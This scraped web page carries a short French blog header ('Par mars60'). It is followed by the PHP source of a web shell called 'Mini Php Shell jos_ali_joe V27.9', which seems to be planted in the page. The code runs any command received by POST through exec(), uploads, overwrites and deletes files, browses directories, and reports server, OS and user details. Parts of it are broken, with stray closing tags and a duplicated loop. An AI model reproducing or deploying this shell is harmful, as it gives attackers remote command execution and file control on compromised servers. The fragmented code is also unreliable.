Sommaire de l'édition
Par mars60
Par mars60
Par mars60
Par mars60
Par mars60
\" style=\"color: #fff\">
Mini Php Shell jos_ali_joe V27.9
Coded by jos_ali_joe
# web:
color: #fff\">http://explorecrew.org/
# Contact : ali@explorecrew.org
~ host | \".$_SERVER[\'SERVER_NAME\'].\" |
~ server | \".$_SERVER[\'SERVER_SOFTWARE\'].\" |
~ os | \".php_uname().\" |
~ uid | $uid ($uname) |
~ gid | $gid ($gname) |
\";
if (!isset($_POST[\'file\'])) {
?>
}
#
# Upload di file
#
if ($_POST[\'do_upload\']===\"true\") {
if ($_POST[\'dir\']==\"true\")
$dir=$_POST[\'dirname\'];
else
$dir=getcwd();
$uploadfile=$dir.\"/\".basename($_FILES[\'userfile\'][\'name\']);
if (move_uploaded_file($_FILES[\'userfile\'][\'tmp_name\'],$uploadfile)) {
print \"File successfully loaded
\\n\";
print \"~ file name: \".$_FILES[\'userfile\'][\'name\'].\"
\".
\"\\n~ type: \".$_FILES[\'userfile\'][\'type\'].\"
\\n\".
\"~ size: \".$_FILES[\'userfile\'][\'size\'].\" bytes
\\n\";
}
else print \"$ Error while loading \".$_FILES[\'userfile\'][\'name\'].\"
\\n\";
}
#
# Modifica o cancellazione di file
#
if (isset($_POST[\'dofile\'])) {
$ref=$_SERVER[\'HTTP_REFERER\'];
$fname=htmlentities($_POST[\'dofile\']);
$content=$_POST[\'content\'];
#
# Modifica
#
if (isset($_POST[\'save\'])) {
if (!($fp=fopen($fname,\"w\")))
die (\"$ Unable to write to $fname
\\n\");
fputs ($fp,$content);
fclose($fp);
print (\"File $fname successfully updated
\\n\");
}
#
# Cancellazione
#
if (isset($_POST[\'remove\'])) {
unlink ($fname) or die (\"$ Unable to remove $fname
\\n\");
print \"$fname successfully removed
\\n\";
}
}
#
# Esecuzione di un comando
#
if (isset($_POST[\'cmd\'])) {
$cmd=$_POST[\'cmd\'];
$output=array();
exec ($cmd,$output);
print \"
\\n\";
print \"# cmd output:
\";
print \"
\\n\";
foreach ($output as $line)
print \"$line
\\n\";
print \"
\\n\";foreach ($output as $line)
print \"$line
\\n\";
print \"
die(\'\');
}
#
# Visualizzazione di file
#
if (isset($_POST[\'fname\'])) {
print \"# Warning: editing or removing a file is only possible if you\'ve got the privileges to do that
\";
$fname=htmlentities($_POST[\'fname\']);
$file=file($fname) or print \"$ Unable to open $fname
\\n\";
print \"\\n\";
}
#
# Visualizzazione del contenuto di una directory
#
if (isset($_POST[\'dirname\']))
$path=htmlspecialchars($_POST[\'dirname\']);
else
$path=getcwd();
$dp=opendir($path) or die(\"$ Unable to open $path
\\n\");
chdir ($path);
$path=getcwd();
print \"
\\n\";
print \"> cwd: \".getcwd().\"
\\n\\n\";
$dir=array();
while ($file=readdir($dp))
if (strcmp(\".\",$file))
array_push($dir,\"$path/$file\");
closedir($dp);
sort($dir);
?>
?>